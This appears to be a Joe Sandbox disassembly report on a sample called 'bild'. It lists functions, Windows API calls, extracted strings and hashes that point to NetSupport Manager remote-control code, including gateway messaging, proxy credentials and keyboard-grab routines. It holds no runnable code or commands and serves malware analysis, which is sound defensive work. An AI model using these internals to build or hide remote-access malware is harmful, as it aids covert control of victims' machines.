Instruction ID: d350ec50ab228f9414e152a4c03de73e372ac209e7368118c740cc8463c9be9d
Opcode Fuzzy Hash: f3d403a941c4984374258638dd86798888d02ad622736958829eb0afce58e01c
Instruction Fuzzy Hash: 8F51BF71644300EFDB10EF6DCCC5B5A73B8AB89316F120915E906D7A81DB70E986CF69

Function 6C5D98D0 Relevance: 45.8, APIs: 15, Strings: 11, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strncmp.LIBCMT ref: 6C5D996F
_strncmp.LIBCMT ref: 6C5D99A5

Strings

abort send, gateway hungup, xrefs: 6C5D9D2E
Error send returned 0 on connection %d, xrefs: 6C5D9CF8
xx %02x, xrefs: 6C5D9AFB
Error %d writing inet request on connection %d, xrefs: 6C5D9BE3
%02x %02x, xrefs: 6C5D9AE7
Error %d sending HTTP request on connection %d, xrefs: 6C5D9D1F
CMD=NC_DATA, xrefs: 6C5D999F
%s, xrefs: 6C5D9AAA
SendHttpReq failed, not connected to gateway!, xrefs: 6C5D9934, 6C5D9B79
NC_DATA, xrefs: 6C5D9969
3', xrefs: 6C5D9CB2

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: _strncmp
String ID: %02x %02x$%s$3'$CMD=NC_DATA$Error %d sending HTTP request on connection %d$Error %d writing inet request on connection %d$Error send returned 0 on connection %d$NC_DATA$SendHttpReq failed, not connected to gateway!$abort send, gateway hungup$xx %02x
API String ID: 909875538-2848211065
Opcode ID: fb52e782a14474a73dab20392db70733aa14038a2242b7f7af2842cf1d96cfa5
Instruction ID: dba97fcb907ed3845e0f623ca9bd7ef6d1fef07121cf68773d2a8783451612ab
Opcode Fuzzy Hash: fb52e782a14474a73dab20392db70733aa14038a2242b7f7af2842cf1d96cfa5
Instruction Fuzzy Hash: B7D12271A053199FDB20CF6CCCA1BD9B774AF4A308F0641D9D8099BA41DB31AD89CF89

Function 110285F0 Relevance: 42.5, APIs: 2, Strings: 22, Instructions: 542
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,6FBE1370,?,0000001A), ref: 110286DD
_strrchr.LIBCMT ref: 110286EC

Part of subcall function 111646CE: __stricmp_l.LIBCMT ref: 1116470B

Strings

NSSAppDataDir, xrefs: 11028A25
NSSName, xrefs: 11028935
LongName, xrefs: 11028875
AssistantURL, xrefs: 11028AB9
Name, xrefs: 1102883E
NSSConfName, xrefs: 11028A55
ShortName, xrefs: 110288A5
SupportWWW, xrefs: 11028995
NSSTLA, xrefs: 11028965
SupportsAndroid, xrefs: 11028B82
??I, xrefs: 11028CF7
TLA, xrefs: 11028905
Home, xrefs: 110288D5
\, xrefs: 1102866C
NSMAppDataDir, xrefs: 110289F5
AssistantName, xrefs: 11028A8C
SupportsChrome, xrefs: 11028AE6
SupportEMail, xrefs: 110289C5
product.dat, xrefs: 110286A0, 110286F1
??F, xrefs: 11028C70
NSSLongCaption, xrefs: 11028B55
TechConsole, xrefs: 11028B1D

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: FileModuleName__stricmp_l_strrchr
String ID: ??F$??I$AssistantName$AssistantURL$Home$LongName$NSMAppDataDir$NSSAppDataDir$NSSConfName$NSSLongCaption$NSSName$NSSTLA$Name$ShortName$SupportEMail$SupportWWW$SupportsAndroid$SupportsChrome$TLA$TechConsole$\$product.dat
API String ID: 1609618855-357498123
Opcode ID: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction ID: efd952e0d0f75bab71a6f775fe147756553f35749af42d5d105ea8c6321280ff
Opcode Fuzzy Hash: f758b9b815b32a629a166d271db5dcc578b7f2649effa84e62f149b16d96c17d
Instruction Fuzzy Hash: ED12D67CD0929A8BDB17CF64CC807E5B7F5AB19308F8400EEE9D557201EB729686CB52

Function 6C5E6BA0 Relevance: 42.3, APIs: 18, Strings: 6, Instructions: 273sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C5E6BD5
GetTickCount.KERNEL32 ref: 6C5E6C26
Sleep.KERNEL32(00000064), ref: 6C5E6C5B

Part of subcall function 6C5E6940: GetTickCount.KERNEL32 ref: 6C5E6950

WaitForSingleObject.KERNEL32(0000031C,?), ref: 6C5E6C7C
_memmove.LIBCMT ref: 6C5E6C93
select.WSOCK32(00000000,?,00000000,00000000,?), ref: 6C5E6CB4
Sleep.KERNEL32(00000032,00000000,?,00000000,00000000,?), ref: 6C5E6CD9
GetTickCount.KERNEL32 ref: 6C5E6CEC
_calloc.LIBCMT ref: 6C5E6D76
GetTickCount.KERNEL32 ref: 6C5E6DF3
InterlockedExchange.KERNEL32(02853072,00000000), ref: 6C5E6E01
_calloc.LIBCMT ref: 6C5E6E33
_memmove.LIBCMT ref: 6C5E6E47
InterlockedDecrement.KERNEL32(0285301A), ref: 6C5E6EC3
SetEvent.KERNEL32(00000318), ref: 6C5E6ECF
_memmove.LIBCMT ref: 6C5E6EF4
GetTickCount.KERNEL32 ref: 6C5E6F4F
InterlockedExchange.KERNEL32(02852FBA,-6C61A188), ref: 6C5E6F60

Strings

ReadMessage returned FALSE. Terminating connection, xrefs: 6C5E6F3A
FALSE, xrefs: 6C5E6E67
ResumeTimeout, xrefs: 6C5E6BBA
ProcessMessage returned FALSE. Terminating connection, xrefs: 6C5E6F25
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C5E6E62
httprecv, xrefs: 6C5E6BDD

Memory Dump Source

Source File: 00000005.00000002.4163444203.000000006C5D1000.00000020.00000001.01000000.0000000E.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000005.00000002.4163419396.000000006C5D0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163517187.000000006C619000.00000008.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61A000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163540005.000000006C61E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000005.00000002.4163584177.000000006C620000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c5d0000_bild.jbxd

Yara matches

Similarity

API ID: CountTick$Interlocked_memmove$ExchangeSleep_calloc$DecrementEventObjectSingleWaitselect
String ID: FALSE$ProcessMessage returned FALSE. Terminating connection$ReadMessage returned FALSE. Terminating connection$ResumeTimeout$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$httprecv
API String ID: 1449423504-919941520
Opcode ID: 3364a4fd5ee0db7c7927f711757876820ead3de70ba1b450b830d21f000c2d0e
Instruction ID: adf0c25f8261296612d28c6f0cec855ec173c374a3f15780385c7ff393ddaeb6
Opcode Fuzzy Hash: 3364a4fd5ee0db7c7927f711757876820ead3de70ba1b450b830d21f000c2d0e
Instruction Fuzzy Hash: F9B1C1B1D00258DFDF20DB69CD85BDA73B4EB4834AF00449AE649E7A40DBB49AC4CF95

Function 11086700 Relevance: 38.7, APIs: 12, Strings: 10, Instructions: 161libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,00000001,0000DD7C), ref: 1108678C
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 110867AA
LoadLibraryA.KERNEL32(?), ref: 110867EC
GetProcAddress.KERNEL32(?,CipherServer_Create), ref: 11086807
GetProcAddress.KERNEL32(?,CipherServer_Destroy), ref: 1108681C
GetProcAddress.KERNEL32(00000000,CipherServer_GetInfoBlock), ref: 1108682D
GetProcAddress.KERNEL32(?,CipherServer_OpenSession), ref: 1108683E
GetProcAddress.KERNEL32(?,CipherServer_CloseSession), ref: 1108684F
GetProcAddress.KERNEL32(00000000,CipherServer_EncryptBlocks), ref: 11086860

Strings

CipherServer_CloseSession, xrefs: 11086849
CipherServer_GetRandomData, xrefs: 1108687C
CipherServer_ResetSession, xrefs: 1108688D
CipherServer_DecryptBlocks, xrefs: 1108686B
CipherServer_GetInfoBlock, xrefs: 11086827
CryptPak.dll, xrefs: 1108675B, 110867BE
CipherServer_Destroy, xrefs: 11086816
CipherServer_EncryptBlocks, xrefs: 1108685A
CipherServer_Create, xrefs: 11086801
CipherServer_OpenSession, xrefs: 11086838

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$FileModuleName
String ID: CipherServer_CloseSession$CipherServer_Create$CipherServer_DecryptBlocks$CipherServer_Destroy$CipherServer_EncryptBlocks$CipherServer_GetInfoBlock$CipherServer_GetRandomData$CipherServer_OpenSession$CipherServer_ResetSession$CryptPak.dll
API String ID: 2201880244-3035937465
Opcode ID: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction ID: c81deb3771c39ade44f8803fbe1e6421c41fb3d40bd553f41274565aeadcb2b4
Opcode Fuzzy Hash: 4b4bd3f155fc2ea4308a314feeb32441d96d80ab178d9e56264d575cdcc26986
Instruction Fuzzy Hash: CD51C174E1834A9BD710DF79DC94BA6FBE9AF54304B1289AED885C7240EAB2E444CF50

Function 11141890 Relevance: 35.7, APIs: 3, Strings: 17, Instructions: 672registryCOMMON

Download Yara Rule

APIs

RegCloseKey.ADVAPI32(00000000), ref: 1114194A

Strings

RoomSpec, xrefs: 11141DC7, 1114207A
client, xrefs: 11141D63
Add [%s]%s=%s, xrefs: 11141E36
IsA(), xrefs: 111420CD
Info. Policy changed - re-initui, xrefs: 11142012
_debug, xrefs: 11141DE6
Del [%s]%s=%s, xrefs: 11141E95
Info. Policy changed - reload transports..., xrefs: 11142036
Warning. Can't calc AD policy changes, xrefs: 11141D85
client., xrefs: 11141D46
NSM.LIC, xrefs: 11141950
Info. Lockup averted for AD policy changes, xrefs: 11141B1D, 11141B44
Client, xrefs: 11141DCC, 1114207F
NSA.LIC, xrefs: 1114195F, 11141966, 1114198D
Chg [%s]%s=%s, xrefs: 11141EF5
TracePolicyChange, xrefs: 11141DE1
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 111420C8

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Close
String ID: Add [%s]%s=%s$Chg [%s]%s=%s$Client$Del [%s]%s=%s$Info. Lockup averted for AD policy changes$Info. Policy changed - re-initui$Info. Policy changed - reload transports...$IsA()$NSA.LIC$NSM.LIC$RoomSpec$TracePolicyChange$Warning. Can't calc AD policy changes$_debug$client$client.$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 3535843008-2062829784
Opcode ID: b095e62f5566da241d3e91ca5be9f891ca13435fdbaa530bea89b8198b644eef
Instruction ID: 6553b1da6d6d14651d2a1fffef45e08f8fb4271012d2e4188a9b1e9169dedbc2
Opcode Fuzzy Hash: b095e62f5566da241d3e91ca5be9f891ca13435fdbaa530bea89b8198b644eef
Instruction Fuzzy Hash: E4420778E002999FEB21CBA0CD90FEEF7766F95B08F1401D8D50967681EB727A84CB51

Function 11074A00 Relevance: 33.5, APIs: 13, Strings: 6, Instructions: 294threadtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

InitializeCriticalSection.KERNEL32(0000000C,?,00000000), ref: 11074AE5
InitializeCriticalSection.KERNEL32(00000024,?,00000000), ref: 11074AEB
InitializeCriticalSection.KERNEL32(0000003C,?,00000000), ref: 11074AF1
InitializeCriticalSection.KERNEL32(0000DB1C,?,00000000), ref: 11074AFA
InitializeCriticalSection.KERNEL32(00000054,?,00000000), ref: 11074B00
InitializeCriticalSection.KERNEL32(0000006C,?,00000000), ref: 11074B06
_strncpy.LIBCMT ref: 11074B68
ExpandEnvironmentStringsA.KERNEL32(?,?,00000100,?,?,?,?,?,?,00000000), ref: 11074BCF
CreateThread.KERNEL32(00000000,00004000,11070C60,00000000,00000000,?), ref: 11074C6C
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 11074C73
SetTimer.USER32(00000000,00000000,000000FA,11063680), ref: 11074CB7
std::exception::exception.LIBCMT ref: 11074D68
__CxxThrowException@8.LIBCMT ref: 11074D83

Strings

RememberPassword, xrefs: 11074B80
Password, xrefs: 11074C23
destroy_queue == NULL, xrefs: 11074B1B
DefaultUsername, xrefs: 11074BB0
..\ctl32\Connect.cpp, xrefs: 11074B16
General, xrefs: 11074B85, 11074BB5, 11074C28

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CloseCreateEnvironmentException@8ExpandHandleStringsThreadThrowTimer_malloc_memset_strncpystd::exception::exceptionwsprintf
String ID: ..\ctl32\Connect.cpp$DefaultUsername$General$Password$RememberPassword$destroy_queue == NULL
API String ID: 703120326-1497550179
Opcode ID: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction ID: 2d3153b5a6430d98d64e81d2a1e668bfe4de0d121a1dff3557e595bbadcf65c6
Opcode Fuzzy Hash: 7c8943816f378bc6fd854347406ceee894156ad89ebdfca9a8c75f1e5f5be459
Instruction Fuzzy Hash: 79B1A4B5A00359AFD710CF64CD84FDAF7F4BB48708F0085A9E65997281EBB0B944CB65

Function 11108D30 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 213libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(00000002,00000000,nsm_gina_sas,00000009), ref: 11108E0A
CloseHandle.KERNEL32(00000000), ref: 11108E19
GetSystemDirectoryA.KERNEL32(?,000000F7), ref: 11108E2B
LoadLibraryA.KERNEL32(?), ref: 11108E61
GetProcAddress.KERNEL32(?,GrabKM), ref: 11108E8E
GetProcAddress.KERNEL32(?,LoggedOn), ref: 11108EA6
FreeLibrary.KERNEL32(?), ref: 11108ECB

Part of subcall function 1110F2B0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,76EEC3F0,00000000,?,11110245,1110FDE0,00000001,00000000), ref: 1110F2C7
Part of subcall function 1110F2B0: CreateThread.KERNEL32(00000000,11110245,00000001,00000000,00000000,0000000C), ref: 1110F2EA
Part of subcall function 1110F2B0: WaitForSingleObject.KERNEL32(?,000000FF,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F317
Part of subcall function 1110F2B0: CloseHandle.KERNEL32(?,?,11110245,1110FDE0,00000001,00000000,?,?,?,?,?,11031040), ref: 1110F321

GetStockObject.GDI32(0000000D), ref: 11108EDF
GetObjectA.GDI32(00000000,0000003C,?), ref: 11108EEF
InitializeCriticalSection.KERNEL32(0000003C), ref: 11108F0B
InitializeCriticalSection.KERNEL32(111F060C), ref: 11108F16

Part of subcall function 11107290: LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
Part of subcall function 11107290: LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108F59

Part of subcall function 1109E9E0: GetCurrentProcess.KERNEL32(00020008,00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA01
Part of subcall function 1109E9E0: OpenProcessToken.ADVAPI32(00000000,?,?,110F7D14,00000001,111417B8,_debug,TraceCopyData,00000000,00000000,?,?,00000000,00000000), ref: 1109EA08
Part of subcall function 1109E9E0: CloseHandle.KERNEL32(00000000,00000000,?,?,00000000,00000000), ref: 1109EA27

CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FAA
CloseHandle.KERNEL32(00000000,Function_00102C50,00000001,00000000), ref: 11108FFF

Strings

GrabKM, xrefs: 11108E88
LoggedOn, xrefs: 11108EA0
nsm_gina_sas, xrefs: 11108DF4
LPT1, xrefs: 11108DE9
\pcigina, xrefs: 11108E40

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CloseHandle$Library$LoadObject$AddressCreateCriticalEventInitializeOpenProcProcessSection$CurrentDirectoryFreeSingleStockSystemThreadTokenWait_malloc_memsetwsprintf
String ID: GrabKM$LPT1$LoggedOn$\pcigina$nsm_gina_sas
API String ID: 3930710499-403456261
Opcode ID: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction ID: 229803012459fbbe5cfd3a30b02a894d1af5bad55287ed163187595495ff030c
Opcode Fuzzy Hash: 1bb63630e84e06d7a5d883501c08249baca6a639cf459e52fb6089e18ee58e4a
Instruction Fuzzy Hash: DC81AFB4E0435AEFEB55DFB48C89B9AFBE9AB48308F00457DE569D7280E7309944CB11

Function 11138C30 Relevance: 31.8, APIs: 12, Strings: 6, Instructions: 348windowCOMMON

Download Yara Rule

APIs

Part of subcall function 111450A0: GetVersionExA.KERNEL32(111F0EF0,75BF8400), ref: 111450D0
Part of subcall function 111450A0: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 1114510F
Part of subcall function 111450A0: _memset.LIBCMT ref: 1114512D
Part of subcall function 111450A0: _strncpy.LIBCMT ref: 111451FA

PostMessageA.USER32(00030496,000006CF,00000007,00000000), ref: 11138E0F

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

SetWindowTextA.USER32(00030496,00000000), ref: 11138EB7
IsWindowVisible.USER32(00030496), ref: 11138F7C
GetForegroundWindow.USER32(?,?,?,?,?,?,?,?,00000000), ref: 11138F9C
IsWindowVisible.USER32(00030496), ref: 11138FAA
SetForegroundWindow.USER32(00000000), ref: 11138FD8
EnableWindow.USER32(00030496,00000001), ref: 11138FE7
IsWindowVisible.USER32(00030496), ref: 11139038
IsWindowVisible.USER32(00030496), ref: 11139045
EnableWindow.USER32(00030496,00000000), ref: 11139059
EnableWindow.USER32(00030496,00000000), ref: 11138FBF

Part of subcall function 11131210: ShowWindow.USER32(00030496,00000000,?,11139062,00000007,?,?,?,?,?,00000000), ref: 11131234

EnableWindow.USER32(00030496,00000001), ref: 1113906D

Strings

ShowUIOnConnect, xrefs: 11138DED
ConnectedText, xrefs: 11138D48, 11138D57
LockedText, xrefs: 11138D8F
Client, xrefs: 11138CB1, 11138D5B, 11138D94, 11138DF2
ViewedText, xrefs: 11138D3B
HideWhenIdle, xrefs: 11138CAC

Memory Dump Source

Source File: 00000005.00000002.4162903482.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4162887009.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163110629.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4163128229.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Window$EnableVisible$Foreground$MessageOpenPostShowTextVersion__wcstoi64_memset_strncpy
String ID: Client$ConnectedText$HideWhenIdle$LockedText$ShowUIOnConnect$ViewedText
API String ID: 3453649892-3803836183
Opcode ID: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction ID: ae8ec3c714d324370739ddb1cab1952d607c59122f5be0bb7ac7fd02d25128b2
Opcode Fuzzy Hash: 391fd03a16533da79435ce5bee1303fc2e717428408a6b437c143b59ca9afbf1
Instruction Fuzzy Hash: 86C12A75A1122A9BEB11DFF4CD80B6EF769ABC072DF140138EA159B28CEB75E804C751

Function 6C5E33A0 Relevance: 29.1, APIs: 2, Strings: 17, Instructions: 571COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 6C5E34FD
wsprintfA.USER32 ref: 6C5E3727

Strings

*PINServer, xrefs: 6C5E35C4
%s:%s, xrefs: 6C5E3721
*UseWebProxy, xrefs: 6C5E343C
UsePinProxy, xrefs: 6C5E35D0
*GatewayAddress, xrefs: 6C5E3430
Gateway_WebProxy, xrefs: 6C5E359D
Gateway_UseWebProxy, xrefs: 6C5E3585
r<^l, xrefs: 6C5E33B3
PinProxy, xrefs: 6C5E35ED
ProxyUsername, xrefs: 6C5E36E0
client247, xrefs: 6C5E362F
ProxyCred, xrefs: 6C5E362A
ProxyPassword, xrefs: 6C5E36F7
*WebProxy, xrefs: 6C5E3459
P, xrefs: 6C5E3533
:%d, xrefs: 6C5E34F7
Gateway, xrefs: 6C5E3577

